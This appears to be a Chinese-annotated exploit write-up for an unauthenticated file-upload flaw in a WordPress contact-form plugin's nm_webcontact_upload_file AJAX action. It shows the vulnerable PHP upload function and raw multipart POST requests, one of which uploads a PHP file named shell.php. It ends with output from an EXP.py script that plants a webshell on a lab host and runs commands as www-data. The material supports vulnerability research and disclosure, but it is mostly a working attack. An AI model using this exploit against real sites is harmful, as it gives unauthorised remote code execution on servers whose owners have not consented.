function upload_file() {
    // ...
    if (! empty ( $_FILES )) {
        $tempFile = $_FILES ['Filedata'] ['tmp_name'];
        $targetPath = $dirPath;
        $new_filename = strtotime ( "now" ) . '-' . preg_replace ( "![^a-z0-9.]+!i", "_", $_FILES ['Filedata'] ['name'] );
        $targetFile = rtrim ( $targetPath, '/' ) . '/' . $new_filename;
        $type = strtolower ( substr ( strrchr ( $new_filename, '.' ), 1 ) );
        if (move_uploaded_file ( $tempFile, $targetFile )) {
            if (($type == "gif") || ($type == "jpeg") || ($type == "png") || ($type == "pjpeg") || ($type == "jpg"))
                $this->create_thumb ( $targetPath, $new_filename, $thumb_size );
            $response ['status'] = 'uploaded';
            $response ['filename'] = $new_filename;
        }
        // ...
    }
    // ...
}

POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: 你的站点
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <自动计算>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="test.png"
Content-Type: image/png

<这里是PNG文件的二进制内容>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: 你的站点
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <自动计算>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="test.txt"
Content-Type: text/plain

hello, this is a test txt file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: 你的站点
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <自动计算>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

例如：
python EXP.py -u http://192.168.63.131:8081/

  ______     ______     ______     ______     ______
 /_____/\   /_____/\   /_____/\   /_____/\   /_____/\
 \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \
  \:(_) ) |  \:\ ) ) |  \:\ ) ) |  \:\ ) ) |  \:\ ) ) |
   \: __ `\   \:() (|   \:() (|    \:() (|    \:() (|
    \ \ `\ \   \:\_/ \    \:\_/ \    \:\_/ \    \:\_/ \
     \_\/ \_\   \_____/\   \_____/\   \_____/\   \_____/\

[+] 目标地址：http://192.168.63.131:8081/
[+] 正在尝试上传 WebShell...
[+] WebShell 上传成功，正在提取文件名...
[+] WebShell 地址为：http://192.168.63.131:8081//wp-content/uploads/contact_files/1753257322-download.php
[+] 正在验证 WebShell 是否可用...
[+] 验证成功，WebShell 可用！
[+] 进入交互式 Shell 模式（输入 exit 退出）
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> pwd
/var/www/html/wp-content/uploads/contact_files
shell> exit
[*] 退出 Shell，再见！